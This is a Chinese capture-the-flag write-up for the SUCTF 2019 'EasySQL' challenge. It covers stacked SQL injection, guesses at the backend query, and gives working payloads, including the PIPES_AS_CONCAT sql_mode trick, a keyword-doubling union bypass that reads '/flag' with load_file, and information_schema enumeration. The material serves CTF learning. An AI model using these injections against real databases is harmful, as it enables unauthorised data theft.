[SUCTF 2019]EasySQL

 给了这个玩意,给我的直觉是堆叠注入。然后试了试发现还真是。

但一开始我还是走了点弯路,因为是常规的堆叠注入,就这样写

1';show databases;

发现没回显,当时我就纳闷了,咋没回显呢,后来突然想到了整型堆叠注入,试了试 果然就是了。

1;show databases;

 有结果出了,证明猜想没错。然后

1;show tables;

拿到表名。

 就是到这一步卡住了,利用

0; show columns fr<>om Fl<>ag ;#

 查列名没差出来,查看原码也啥也没有。后来就查看了别人的wp.


别人的wp:

这道题目需要我们去对后端语句进行猜测,有点矛盾的地方在于其描述的功能和实际的功能似乎并不相符,通过输入非零数字得到的回显1和输入其余字符得不到回显来判断出内部的查询语句可能存在有||,也就是select 输入的数据||内置的一个列名 from 表名,进一步进行猜测即为select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知),需要注意的是,此时的||起到的作用是or的作用

解法1

输入的内容为*,1

内置的sql语句为sql="select".sql="select".post[‘query’]."||flag from Flag";

如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容

解法2

输入的内容为1;set sql_mode=pipes_as_concat;select 1

其中set sql_mode=pipes_as_concat的作用是将||的作用由or变为拼接字符串

本地mysql演示

查询当前数据库的sql_mode

 这个sql_mode下使用||异或运算符

select 0 || flag from flag;

select 1 || flag from flag;

  当设置sql_mode为PIPES_AS_CONCAT时,将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似

set sql_mode=PIPES_AS_CONCAT;

 select @@sql_mode;

select 1 || flag from flag;

根据别人的wp知道内置的sql语句为

sql="select".sql="select".post[‘query’]."||flag from Flag";

所以直接构造payload

query=3;set sql_mode=PIPES_AS_CONCAT;select 3

加个小知识点

-1' union seselectlect 1,(seselectlect load_file('/flag'))#///查询根目录下的文件

select 数据库下的列名 from 数据库名.数据库下的表名   可以查不是当前数据库下的东西

show databases;  可以查全部数据库名

SELECT group_concat(SCHEMA_NAME) FROM information_schema.schemata;

也是查看全部数据库名

联合查询查询不存在数据会构造虚拟的数据     ([GXYCTF2019]BabySQli)  这道题用到这个知识点。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值